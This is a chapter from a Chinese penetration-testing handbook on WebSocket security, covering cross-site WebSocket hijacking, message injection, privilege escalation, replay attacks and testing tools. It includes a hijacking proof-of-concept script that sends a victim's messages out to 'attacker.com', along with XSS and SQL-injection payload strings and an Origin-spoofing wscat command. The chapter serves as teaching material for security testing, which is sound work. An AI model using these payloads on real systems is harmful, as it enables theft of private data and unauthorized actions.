逆向工程实战手册 第 66 章

第 66 章 WebSocket 安全(实时通信攻击)

现代应用大量使用 WebSocket(实时聊天/交易/协作/游戏)。它绕过传统 HTTP 安全模型的"同源"概念,带来独特的攻击面:跨站 WebSocket 劫持(CSWSH)、消息注入、子协议滥用、认证缺失。本章覆盖 WebSocket 协议理解、攻击技术与测试方法。

📍 知识点地图 | 主题:WebSocket安全 | 前置:第58章 | 后续:— | 核心概念:CSWSH、消息注入、越权、子协议

66.1 WebSocket 协议基础(先懂机制)

为什么存在: HTTP 是"请求-响应",实时场景需要"服务器主动推" → WebSocket

握手(升级):
  GET /ws HTTP/1.1
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Key: <随机>
  Sec-WebSocket-Version: 13
  Origin: https://app.com        ← 安全关键字段!
  → 服务端返回 101 Switching Protocols

之后: 全双工消息帧(ws:// / wss://)

与 HTTP 的安全差异:
  □ 无"同源策略"概念(服务端必须自己验证 Origin)
  □ 连接建立后是长连接(认证在握手时决定一切)
  □ 消息是自定义格式(JSON/二进制/子协议)

66.2 WebSocket 攻击面地图

┌─────────────────────────────────────────────┐
│ 握手阶段                                     │
│  ├─ Origin 校验缺失 → CSWSH(跨站劫持)      │
│  ├─ 认证缺失 → 匿名连接                      │
│  ├─ 会话绑定错误 → 越权连接                  │
│  └─ 子协议协商问题 → 协议混淆                │
├─────────────────────────────────────────────┤
│ 消息阶段                                     │
│  ├─ 消息注入(XSS/SQLi/命令注入 in WS 消息) │
│  ├─ 越权操作(改他人数据/执行管理操作)      │
│  ├─ 消息重放 / 篡改(交易类高风险)          │
│  ├─ DoS(大量消息/超大消息)                 │
│  └─ 隐私泄露(订阅了不该订阅的频道)         │
└─────────────────────────────────────────────┘

66.3 跨站 WebSocket 劫持(CSWSH,最经典)

原理

WebSocket 握手用 Cookie 认证(和 HTTP 一样自动携带)
如果服务端不校验 Origin 头 → 任何网站都能发起"已认证的" WS 连接

攻击流程:
  1. 受害者已登录 target.com(有 Cookie)
  2. 受害者访问攻击者的恶意页面
  3. 恶意页面 JS 发起: new WebSocket("wss://target.com/ws")
  4. 浏览器自动带 Cookie → 服务端认为是受害者本人 → 建立连接
  5. 攻击者通过这个连接读写受害者的数据(窃取消息/执行操作)

检测

建立 WS 连接时改 Origin 为任意域名:
  服务端接受(不校验)→ 存在 CSWSH
  服务端拒绝(校验 Origin 白名单)→ 安全

利用 PoC

<!-- 攻击者页面: CSWSH PoC -->
<script>
var ws = new WebSocket("wss://target.com/chat");
ws.onopen = function() {
    // 读取受害者的消息
    ws.send('{"action":"get_messages"}');
};
ws.onmessage = function(e) {
    // 外带到攻击者服务器
    new Image().src = "https://attacker.com/steal?d=" + encodeURIComponent(e.data);
};
</script>

高危场景

□ 聊天/消息应用: 窃取私人对话
□ 交易/支付: 窃取交易数据/发起转账
□ 实时协作: 窃取文档内容
□ 监控/仪表盘: 窃取敏感状态
□ 管理面板: 执行管理操作

66.4 消息层攻击(连接建立之后)

1. 消息注入(WS 是传输层,内容照样注入)

WS 消息内容如果是 JSON/文本,同样测:
  □ XSS(消息渲染在 DOM): <img src=x onerror=...>
  □ SQL 注入(消息入库): ' OR 1=1--
  □ 命令注入(消息驱动后端操作)
  □ 模板注入(消息进模板渲染)
测试思路: 和 HTTP 参数一样,只是载体变成了 WS 消息

2. 越权操作(WS 的授权缺失)

问题: WS 连接建立后,服务端常"信任连接身份"而忽略消息里的操作授权
      → 连接内执行未授权操作(同 GraphQL 字段级越权问题)

测试:
  □ 改消息里的 ID/角色/操作类型
  □ 尝试管理操作("role":"admin"/"action":"delete_all")
  □ 跨用户: 消息带别人的 ID → 数据泄露

3. 消息重放与篡改

□ 重放: 同一消息发两次 → 重复执行(交易/操作类)
□ 篡改: 改金额/数量/接收方(交易场景)
□ 竞态: 同时发多条竞争操作(第 69 章竞态深度)

4. 未认证连接

直接连 wss://target.com/ws 不发任何认证 → 看服务端是否拒绝
(很多 WS 服务"能连上就不管你是谁")

66.5 子协议与握手细节攻击

□ 子协议(subprotocol)混淆: 客户端声明支持的协议 → 服务端选择
  攻击者声明一个特权子协议 → 服务端可能按特权处理
  new WebSocket(url, ["admin_protocol"])

□ 心跳/控制帧滥用: 超大 ping、错误帧 → DoS

□ 代理配置漏洞: WS 升级请求被中间层误处理(请求走私的 WS 变体)

66.6 测试工具与流程

# 工具
# 1. Burp Suite: Proxy 拦截 WS 消息(Repeater 可重放)
#    注意: Burp 默认拦截 HTTP,WS 消息要开"WebSocket history"
# 2. wscat(命令行测试):
wscat -c wss://target.com/ws
wscat -c wss://target.com/ws -H "Origin: https://evil.com"   # Origin 测试
# 3. 浏览器 DevTools: Network → WS 面板(直接发消息)
# 4. 自写脚本: Python websockets 库自动化测试

完整测试流程

1. 发现 WS 端点: 前端 JS 找 new WebSocket("wss://...")(第 13 章)
2. 观察握手: 认证方式(Cookie/Header/子协议)
3. Origin 校验测试(CSWSH 检测)
4. 匿名连接测试(不认证直接连)
5. 消息结构理解(发/收正常消息 → 理解协议)
6. 消息注入: XSS/SQLi/命令(按内容类型)
7. 越权: 改 ID/角色/操作类型
8. 重放/篡改/竞态
9. 记录: 端点+握手+消息样例+漏洞证据

66.7 检查清单

□ WS 端点发现(前端 JS)
□ 握手认证方式理解
□ Origin 校验测试(CSWSH)
□ 匿名/弱认证连接
□ 消息注入(XSS/SQLi/命令)
□ 越权操作(ID/角色/管理操作)
□ 消息重放/篡改
□ 子协议滥用
□ DoS(消息洪泛/超大帧)
□ 报告: 完整消息样例可复现

动手练习

  1. 在本地搭一个 WS 聊天应用(或找练习靶场),用 wscat 完成握手和消息收发。
  2. 构造 CSWSH PoC 页面,在"未校验 Origin"的练习服务上验证窃取消息。
  3. 用 Burp 拦截并重放 WS 消息,尝试修改消息里的用户 ID 做越权测试。
  4. 在前端 JS 里找出一个应用的 WebSocket 端点(第 13 章方法),记录它的消息格式。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-websocket-runtime/(WebSocket CTF 子技能)
  • 仓库:skills/api-security/SKILL.md(API 安全方法论)
  • 仓库:skills/js-reverse/(前端 JS 找 WS 端点)
  • 仓库:skills/pentest-tools/references/web-attack-cheatsheet.md(注入类配合)